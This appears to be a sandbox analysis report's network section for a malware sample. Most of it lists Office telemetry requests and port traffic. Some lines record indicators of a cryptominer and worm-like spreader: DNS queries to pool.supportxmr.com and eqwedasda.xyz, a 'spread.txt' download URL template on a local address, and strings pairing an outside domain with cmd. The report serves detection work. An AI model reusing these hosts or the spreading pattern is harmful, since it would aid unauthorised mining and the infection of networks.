Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net

Source: global traffic	DNS traffic detected: DNS query: www.eqwedasda.xyz
Source: global traffic	DNS traffic detected: DNS query: pool.supportxmr.com

Source: spread.txt.0.dr	String found in binary or memory: http://%s:%d/spread.txt
Source: X86.dll.0.dr	String found in binary or memory: http://192.168.2.6:19490/spread.txt
Source: file.exe, spread.txt.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: file.exe, spread.txt.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: file.exe, spread.txt.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: file.exe, spread.txt.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: file.exe, spread.txt.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: file.exe, spread.txt.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: file.exe, spread.txt.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: spread.txt.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: file.exe, spread.txt.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: file.exe, spread.txt.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, spread.txt.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: file.exe, spread.txt.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: file.exe, spread.txt.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: spread.txt.0.dr	String found in binary or memory: http://www.baidu.com/search/spider.html
Source: spread.txt.0.dr	String found in binary or memory: http://www.baidu.com/search/spider.html)
Source: file.exe, spread.txt.0.dr	String found in binary or memory: http://www.baidu.com/search/spider.html)95.179.220.100Windows
Source: file.exe, spread.txt.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: spread.txt.0.dr	String found in binary or memory: http://www.yzzswt.com
Source: file.exe, spread.txt.0.dr	String found in binary or memory: http://www.yzzswt.comcmd
Source: file.exe, spread.txt.0.dr	String found in binary or memory: http://www.yzzswt.comiexplore.exeopenWelcome
Source: file.exe, spread.txt.0.dr	String found in binary or memory: https://m.baidu.com/mip/c/s/zhangzifan.com/wechat-user-agent.htmlOS

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51700
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51701
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51705
Source: unknown	Network traffic detected: HTTP traffic on port 51719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51826
Source: unknown	Network traffic detected: HTTP traffic on port 51044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51686 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51709
Source: unknown	Network traffic detected: HTTP traffic on port 51720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 51296 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51718
Source: unknown	Network traffic detected: HTTP traffic on port 51605 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51716
Source: unknown	Network traffic detected: HTTP traffic on port 51674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51831
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50741
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51616 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51719
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51602
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50637
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51605
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51727
Source: unknown	Network traffic detected: HTTP traffic on port 51698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51721
Source: unknown	Network traffic detected: HTTP traffic on port 51617 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 51707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 50888 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51619
Source: unknown	Network traffic detected: HTTP traffic on port 52300 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51616
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51617
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50401
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51851
Source: unknown	Network traffic detected: HTTP traffic on port 50178 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52279 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51687 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50930
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50813
Source: unknown	Network traffic detected: HTTP traffic on port 51709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52153 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 52302 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 50931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52115 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52280 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50258 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51538 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52313 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51922
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 50898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 50313 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52187 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 52301 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50143 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51434 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51457 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52324 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50567 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51386 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51688 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 51225 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50606
Source: unknown	Network traffic detected: HTTP traffic on port 51825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 51224 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51442 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51115 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50339
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50338
Source: unknown	Network traffic detected: HTTP traffic on port 51734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50570
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50573
Source: unknown	Network traffic detected: HTTP traffic on port 51711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50333
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50574
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51619 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52172 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52161 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51672
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51673
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51670
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51671
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51792
Source: unknown	Network traffic detected: HTTP traffic on port 50339 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51434
Source: unknown	Network traffic detected: HTTP traffic on port 51695 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51674
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50345
Source: unknown	Network traffic detected: HTTP traffic on port 52298 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51385 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52200 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51328
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51689
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52160 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51683
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51442
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51684
Source: unknown	Network traffic detected: HTTP traffic on port 51826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51687
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51688
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51685
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51686
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51690
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51691
Source: unknown	Network traffic detected: HTTP traffic on port 52299 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52201 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51684 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52307
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52308
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52305
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52306
Source: unknown	Network traffic detected: HTTP traffic on port 51384 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52309
Source: unknown	Network traffic detected: HTTP traffic on port 51328 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51694
Source: unknown	Network traffic detected: HTTP traffic on port 51733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51695
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52300
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51692
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51693
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51698
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51457
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51699
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52304
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51696
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52301
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50488
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51697
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52302
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51987 -> 443
